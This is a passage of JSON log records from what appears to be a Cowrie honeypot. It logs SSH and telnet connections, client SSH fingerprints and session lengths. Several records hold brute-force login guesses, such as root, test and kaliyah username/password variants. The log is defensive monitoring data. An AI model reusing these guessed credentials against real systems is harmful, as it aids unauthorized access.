cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:18.303250Z","src_ip":"205.210.31.91","session":"7efd74217ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56798,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dbdb1953f86","protocol":"telnet","message":"New connection: 128.199.8.54:56798 (159.203.135.109:23) [session: 5dbdb1953f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:20.942163Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.92.15.23","src_port":45166,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e44a1e0cd8e","protocol":"ssh","message":"New connection: 154.92.15.23:45166 (159.203.135.109:22) [session: 0e44a1e0cd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:21.108695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:21.113513Z","src_ip":"154.92.15.23","session":"0e44a1e0cd8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33766,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f2f0c4a06f0","protocol":"telnet","message":"New connection: 128.199.8.54:33766 (159.203.135.109:23) [session: 2f2f0c4a06f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:21.387969Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57962,"dst_ip":"10.17.0.5","dst_port":22,"session":"d078b6f13269","protocol":"ssh","message":"New connection: 103.15.226.202:57962 (10.17.0.5:22) [session: d078b6f13269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:22.532433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:22.537251Z","src_ip":"103.15.226.202","session":"d078b6f13269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:22.792637Z","src_ip":"103.15.226.202","session":"d078b6f13269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":59970,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf8bcef7f89a","protocol":"ssh","message":"New connection: 78.83.249.54:59970 (159.203.135.109:22) [session: cf8bcef7f89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:25.211175Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36724,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5de9e405a8a","protocol":"telnet","message":"New connection: 128.199.8.54:36724 (159.203.135.109:23) [session: a5de9e405a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:25.215088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:25.221678Z","src_ip":"78.83.249.54","session":"cf8bcef7f89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:25.342517Z","src_ip":"78.83.249.54","session":"cf8bcef7f89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZbkHrlbrQJkX","message":"login attempt [root/ZbkHrlbrQJkX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:25.712086Z","src_ip":"103.15.226.202","session":"d078b6f13269","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"321","message":"login attempt [test/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:25.815785Z","src_ip":"78.83.249.54","session":"cf8bcef7f89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:26.295763Z","src_ip":"205.210.31.91","session":"7efd74217ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44460,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8a61ec58500","protocol":"telnet","message":"New connection: 128.199.8.54:44460 (159.203.135.109:23) [session: d8a61ec58500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:26.860684Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:26.939043Z","src_ip":"78.83.249.54","session":"cf8bcef7f89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:26.961907Z","src_ip":"103.15.226.202","session":"d078b6f13269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:30.176237Z","src_ip":"154.92.15.23","session":"0e44a1e0cd8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.228.109.37","src_port":57308,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f9fd89ba75c","protocol":"telnet","message":"New connection: 180.228.109.37:57308 (159.203.135.109:23) [session: 4f9fd89ba75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:44.049681Z"}
{"eventid":"cowrie.session.closed","duration":37.336204290390015,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:48.558588Z","src_ip":"128.199.8.54","session":"b2e11fbd1d80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58980,"dst_ip":"159.203.135.109","dst_port":23,"session":"54e989fff12a","protocol":"telnet","message":"New connection: 128.199.8.54:58980 (159.203.135.109:23) [session: 54e989fff12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:51.023823Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":33493,"dst_ip":"159.203.135.109","dst_port":22,"session":"a20b0892c454","protocol":"ssh","message":"New connection: 213.209.159.56:33493 (159.203.135.109:22) [session: a20b0892c454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:52.432589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:52.436872Z","src_ip":"213.209.159.56","session":"a20b0892c454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:52.518564Z","src_ip":"213.209.159.56","session":"a20b0892c454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaliyah","password":"kaliyah","message":"login attempt [kaliyah/kaliyah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:52.919584Z","src_ip":"213.209.159.56","session":"a20b0892c454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.78473162651062,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:53.726798Z","src_ip":"128.199.8.54","session":"5dbdb1953f86","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kaliyah","password":"kaliyah1","message":"login attempt [kaliyah/kaliyah1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:54.004755Z","src_ip":"213.209.159.56","session":"a20b0892c454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaliyah","password":"kaliyah123","message":"login attempt [kaliyah/kaliyah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:55.093271Z","src_ip":"213.209.159.56","session":"a20b0892c454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.987693786621094,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:55.375550Z","src_ip":"128.199.8.54","session":"2f2f0c4a06f0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kaliyah","password":"kaliyah1234","message":"login attempt [kaliyah/kaliyah1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:56.178179Z","src_ip":"213.209.159.56","session":"a20b0892c454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.662869930267334,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:56.712452Z","src_ip":"180.228.109.37","session":"4f9fd89ba75c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kaliyah","password":"kaliyah12345","message":"login attempt [kaliyah/kaliyah12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:57.263670Z","src_ip":"213.209.159.56","session":"a20b0892c454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:58.349098Z","src_ip":"213.209.159.56","session":"a20b0892c454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.680291414260864,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:59.895391Z","src_ip":"128.199.8.54","session":"a5de9e405a8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.02273201942444,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:00.883476Z","src_ip":"128.199.8.54","session":"d8a61ec58500","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44860,"dst_ip":"159.203.135.109","dst_port":23,"session":"a76be361e7fe","protocol":"telnet","message":"New connection: 128.199.8.54:44860 (159.203.135.109:23) [session: a76be361e7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:08.662142Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51048,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff45353f51b9","protocol":"telnet","message":"New connection: 128.199.8.54:51048 (159.203.135.109:23) [session: ff45353f51b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:10.530196Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":48654,"dst_ip":"159.203.135.109","dst_port":22,"session":"13b77bafa3f7","protocol":"ssh","message":"New connection: 78.83.249.54:48654 (159.203.135.109:22) [session: 13b77bafa3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:13.665537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:13.675505Z","src_ip":"78.83.249.54","session":"13b77bafa3f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:13.799703Z","src_ip":"78.83.249.54","session":"13b77bafa3f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3pass","message":"login attempt [ts3/ts3pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:14.312531Z","src_ip":"78.83.249.54","session":"13b77bafa3f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:15.437008Z","src_ip":"78.83.249.54","session":"13b77bafa3f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42544,"dst_ip":"159.203.135.109","dst_port":23,"session":"489362d62bd3","protocol":"telnet","message":"New connection: 69.6.249.0:42544 (159.203.135.109:23) [session: 489362d62bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:17.286669Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38444,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e47f866c926","protocol":"telnet","message":"New connection: 128.199.8.54:38444 (159.203.135.109:23) [session: 4e47f866c926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:20.749194Z"}
{"eventid":"cowrie.session.closed","duration":31.53726029396057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:22.560973Z","src_ip":"128.199.8.54","session":"54e989fff12a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.140.193.164","src_port":55198,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ebba8b41326","protocol":"telnet","message":"New connection: 185.140.193.164:55198 (159.203.135.109:23) [session: 9ebba8b41326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:26.756001Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55630,"dst_ip":"159.203.135.109","dst_port":23,"session":"57c09b13ea2a","protocol":"telnet","message":"New connection: 128.199.8.54:55630 (159.203.135.109:23) [session: 57c09b13ea2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:28.932806Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.65.107.14","src_port":34196,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0bc90450f77","protocol":"ssh","message":"New connection: 185.65.107.14:34196 (10.17.0.5:22) [session: b0bc90450f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:31.861896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:31.867120Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:31.981654Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:2b:54:d3:58:81:8e:b2:5e:f6:56:5a:2e:09:b6:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvbhR8kUC5VHJCXaQygdCfTgn9GB2SjvnOUREIelGEVmo74cmheOVxsHd/7DDH7mB+pKPo5F3BQTINPvxgKt96ZZvMkEJdTQO0Igwq+oDJDDpOsk++agIuTDQdC2FScNB/yYyQQF++vrUBqUVISIEbTBwimnv/9YyjHU+Ka4PUKknwp2fBKauEfO0WXtJMFGKRZ3zKSiWe5tuC8ZY0doUN7Z/8ceFo2gXB+/wwZ/XomCileAuPsfv3ScHB+ce8BdcsqkbUvP7S9/Xm4BH2wOkZVM3H66ttgRHPOi6ao3ENJvqDkeN8f91f3cK29m1n6JZ8gkIJaM7mSCYo9XftV1kP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:2b:54:d3:58:81:8e:b2:5e:f6:56:5a:2e:09:b6:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:32.524580Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
